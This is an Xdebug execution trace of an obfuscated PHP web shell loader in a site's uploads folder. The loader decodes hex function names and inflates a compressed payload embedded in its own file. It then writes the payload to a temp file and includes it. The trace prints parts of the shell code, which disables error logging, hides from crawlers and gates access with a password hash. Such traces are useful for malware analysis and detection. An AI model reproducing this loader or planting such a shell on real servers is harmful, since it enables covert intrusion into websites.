Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:40:31.303540]
1	0	1	0.000156	393528
1	3	0	0.000242	399464	{main}	1		/var/www/html/uploads/settings.php	0	0
1		A						/var/www/html/uploads/settings.php	1	$x = [0 => 'hex2bin', 1 => '666f70656e', 2 => '667365656b', 3 => '746d7066696c65', 4 => '73747265616d5f6765745f6d6574615f64617461', 5 => '667772697465', 6 => '73747265616d5f6765745f636f6e74656e7473', 7 => '66636c6f7365', 8 => '5f5f68616c745f636f6d70696c6572']
2	4	0	0.000299	399464	hex2bin	0		/var/www/html/uploads/settings.php	1	1	'666f70656e'
2	4	1	0.000330	399528
2	4	R			'fopen'
2	5	0	0.000346	399464	fopen	0		/var/www/html/uploads/settings.php	1	2	'/var/www/html/uploads/settings.php'	'r'
2	5	1	0.000369	400128
2	5	R			resource(4) of type (stream)
1		A						/var/www/html/uploads/settings.php	1	$f = resource(4) of type (stream)
2	6	0	0.000405	400056	hex2bin	0		/var/www/html/uploads/settings.php	1	1	'667365656b'
2	6	1	0.000419	400120
2	6	R			'fseek'
2	7	0	0.000432	400056	fseek	0		/var/www/html/uploads/settings.php	1	2	resource(4) of type (stream)	448
2	7	1	0.000448	400120
2	7	R			0
2	8	0	0.000461	400056	hex2bin	0		/var/www/html/uploads/settings.php	1	1	'746d7066696c65'
2	8	1	0.000474	400120
2	8	R			'tmpfile'
2	9	0	0.000487	400056	tmpfile	0		/var/www/html/uploads/settings.php	1	0
2	9	1	0.000526	400560
2	9	R			resource(5) of type (stream)
1		A						/var/www/html/uploads/settings.php	1	$t = resource(5) of type (stream)
2	10	0	0.000555	400560	hex2bin	0		/var/www/html/uploads/settings.php	1	1	'73747265616d5f6765745f6d6574615f64617461'
2	10	1	0.000570	400640
2	10	R			'stream_get_meta_data'
2	11	0	0.000585	400560	stream_get_meta_data	0		/var/www/html/uploads/settings.php	1	1	resource(5) of type (stream)
2	11	1	0.000602	401760
2	11	R			['timed_out' => FALSE, 'blocked' => TRUE, 'eof' => FALSE, 'wrapper_type' => 'plainfile', 'stream_type' => 'STDIO', 'mode' => 'r+b', 'unread_bytes' => 0, 'seekable' => TRUE, 'uri' => '/tmp/phpvg2Gms']
1		A						/var/www/html/uploads/settings.php	1	$u = '/tmp/phpvg2Gms'
2	12	0	0.000642	400600	hex2bin	0		/var/www/html/uploads/settings.php	1	1	'667772697465'
2	12	1	0.000654	400664
2	12	R			'fwrite'
2	13	0	0.000668	400600	hex2bin	0		/var/www/html/uploads/settings.php	1	1	'73747265616d5f6765745f636f6e74656e7473'
2	13	1	0.000682	400680
2	13	R			'stream_get_contents'
2	14	0	0.000697	400600	stream_get_contents	0		/var/www/html/uploads/settings.php	1	1	resource(4) of type (stream)
2	14	1	0.000738	453880
2	14	R			'���_۸�8�s��9����4�\024r\005Z��˝t��@��|�8�I\f���\035 ���3�ؒ/�P���=�\026lK\032�F��H\032�|��������~隺azy�b��ј?���l\a�묐�6���_|����\a�\027��ے^|3h\006V�l�V�\n�%�fz��5=��z��t���ڶ�{P0h���I\v�f9V\023 �s���vrs��l_M��M�Ç䒚��\037���\036 �\024�d\036w\020�\aA�5��1=�(�ð���\017c���\027���M�R�����g����_�O\032���9�[,T\v%(�����%���/�~C����n�1\000r�Mo� b�\0202���^?\030�g���\023��5�wzz�<�������i�\031����1��\'kD�<}��v]�c�-7��ְ\a^\037\037\016\032�\033���}v��O7z\033�w�c`z�nw-��қ���Z�8|m{���\036/u�0\0'
2	15	0	0.001524	453848	gzinflate	0		/var/www/html/uploads/settings.php	1	1	'���_۸�8�s��9����4�\024r\005Z��˝t��@��|�8�I\f���\035 ���3�ؒ/�P���=�\026lK\032�F��H\032�|��������~隺azy�b��ј?���l\a�묐�6���_|����\a�\027��ے^|3h\006V�l�V�\n�%�fz��5=��z��t���ڶ�{P0h���I\v�f9V\023 �s���vrs��l_M��M�Ç䒚��\037���\036 �\024�d\036w\020�\aA�5��1=�(�ð���\017c���\027���M�R�����g����_�O\032���9�[,T\v%(�����%���/�~C����n�1\000r�Mo� b�\0202���^?\030�g���\023��5�wzz�<�������i�\031����1��\'kD�<}��v]�c�-7��ְ\a^\037\037\016\032�\033���}v��O7z\033�w�c`z�nw-��қ���Z�8|m{���\036/u�0\0'
2	15	1	0.002774	646392
2	15	R			'<?php\r\n\r\nheader("X-XSS-Protection: 0");\r\nsession_start();\r\nob_start();\r\nset_time_limit(0);\r\nerror_reporting(0);\r\n@clearstatcache();\r\n@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\n\r\nif (version_compare(PHP_VERSION, \'5.3.0\', \'<\')) {\r\n\t@set_magic_quotes_runtime(0);\r\n}\r\nif (!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\r\n\t$userAgents = array("Googlebot",'
2	16	0	0.003263	601304	fwrite	0		/var/www/html/uploads/settings.php	1	2	resource(5) of type (stream)	'<?php\r\n\r\nheader("X-XSS-Protection: 0");\r\nsession_start();\r\nob_start();\r\nset_time_limit(0);\r\nerror_reporting(0);\r\n@clearstatcache();\r\n@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\n\r\nif (version_compare(PHP_VERSION, \'5.3.0\', \'<\')) {\r\n\t@set_magic_quotes_runtime(0);\r\n}\r\nif (!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\r\n\t$userAgents = array("Googlebot",'
2	16	1	0.003932	601368
2	16	R			190363
2	17	0	0.008633	1407856	include	1	/tmp/phpvg2Gms	/var/www/html/uploads/settings.php	1	0
3	18	0	0.008694	1407856	header	0		/tmp/phpvg2Gms	3	1	'X-XSS-Protection: 0'
3	18	1	0.008716	1407952
3	18	R			NULL
3	19	0	0.008731	1407920	session_start	0		/tmp/phpvg2Gms	4	0
3	19	1	0.008812	1408672
3	19	R			TRUE
3	20	0	0.008828	1408672	ob_start	0		/tmp/phpvg2Gms	5	0
3	20	1	0.008842	1425184
3	20	R			TRUE
3	21	0	0.008855	1425184	set_time_limit	0		/tmp/phpvg2Gms	6	1	0
3	21	1	0.008871	1425248
3	21	R			FALSE
3	22	0	0.008884	1425216	error_reporting	0		/tmp/phpvg2Gms	7	1	0
3	22	1	0.008896	1425256
3	22	R			22527
3	23	0	0.008910	1425216	clearstatcache	0		/tmp/phpvg2Gms	8	0
3	23	1	0.008921	1425216
3	23	R			NULL
3	24	0	0.008934	1425216	ini_set	0		/tmp/phpvg2Gms	9	2	'error_log'	NULL
3	24	1	0.008950	1425288
3	24	R			''
3	25	0	0.008963	1425216	ini_set	0		/tmp/phpvg2Gms	10	2	'log_errors'	0
3	25	1	0.008977	1425288
3	25	R			'1'
3	26	0	0.008990	1425216	ini_set	0		/tmp/phpvg2Gms	11	2	'max_execution_time'	0
3	26	1	0.009003	1425256
3	26	R			'0'
3	27	0	0.009016	1425184	ini_set	0		/tmp/phpvg2Gms	12	2	'output_buffering'	0
3	27	1	0.009030	1425256
3	27	R			FALSE
3	28	0	0.009043	1425184	ini_set	0		/tmp/phpvg2Gms	13	2	'display_errors'	0
3	28	1	0.009056	1425256
3	28	R			''
3	29	0	0.009125	1425184	version_compare	0		/tmp/phpvg2Gms	15	3	'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'	'5.3.0'	'<'
3	29	1	0.009150	1425280
3	29	R			FALSE
2		A						/tmp/phpvg2Gms	19	$userAgents = [0 => 'Googlebot', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'PycURL', 4 => 'facebookexternalhit', 5 => 'ia_archiver', 6 => 'crawler', 7 => 'Yandex', 8 => 'Rambler', 9 => 'Yahoo! Slurp', 10 => 'YahooSeeker', 11 => 'bingbot', 12 => 'curl']
3	30	0	0.009199	1425184	implode	0		/tmp/phpvg2Gms	20	2	'|'	[0 => 'Googlebot', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'PycURL', 4 => 'facebookexternalhit', 5 => 'ia_archiver', 6 => 'crawler', 7 => 'Yandex', 8 => 'Rambler', 9 => 'Yahoo! Slurp', 10 => 'YahooSeeker', 11 => 'bingbot', 12 => 'curl']
3	30	1	0.009226	1425408
3	30	R			'Googlebot|Slurp|MSNBot|PycURL|facebookexternalhit|ia_archiver|crawler|Yandex|Rambler|Yahoo! Slurp|YahooSeeker|bingbot|curl'
3	31	0	0.009252	1425344	preg_match	0		/tmp/phpvg2Gms	20	2	'/Googlebot|Slurp|MSNBot|PycURL|facebookexternalhit|ia_archiver|crawler|Yandex|Rambler|Yahoo! Slurp|YahooSeeker|bingbot|curl/i'	'python-requests/2.25.1'
3	31	1	0.009376	1425408
3	31	R			0
2		A						/tmp/phpvg2Gms	26	$password = '$2y$08$PBo/wqoLayTvFOW2Hp4wh.emo68HEEAh4cJpw3WSr1TrJYuD/gEju'
3	32	0	0.009438	1425280	md5	0		/tmp/phpvg2Gms	61	1	'localhost$2y$08$PBo/wqoLayTvFOW2Hp4wh.emo68HEEAh4cJpw3WSr1TrJYuD/gEju'
3	32	1	0.009467	1425376
3	32	R			'645835f8b22ccb3cccf7af05f5dbf8a1'
3	33	0	0.009498	1425248	sha1	0		/tmp/phpvg2Gms	61	1	'645835f8b22ccb3cccf7af05f5dbf8a1'
3	33	1	0.009525	1425360
3	33	R			'1d6451242b19464a7dec8f5ad4f96846fb0386ec'
2		A						/tmp/phpvg2Gms	62	$gpass = NULL
2		A						/tmp/phpvg2Gms	63	$sessionAuth = ''
3	34	0	0.009601	1425280	md5	0		/tmp/phpvg2Gms	64	1	'localhost$2y$08$PBo/wqoLayTvFOW2Hp4wh.emo68HEEAh4cJpw3WSr1TrJYuD/gEju'
3	34	1	0.009632	1425376
3	34	R			'645835f8b22ccb3cccf7af05f5dbf8a1'
3	35	0	0.009662	1425248	sha1	0		/tmp/phpvg2Gms	64	1	'645835f8b22ccb3cccf7af05f5dbf8a1'
3	35	1	0.009686	1425360
3	35	R			'1d6451242b19464a7dec8f5ad4f96846fb0386ec'
2		A						/tmp/phpvg2Gms	64	_SESSION['1d6451242b19464a7dec8f5ad4f96846fb0386ec'] =& 
3	36	0	0.009746	1425608	login_shell	1		/tmp/phpvg2Gms	72	0
			0.009998	1320496
TRACE END   [2023-02-13 01:40:31.313418]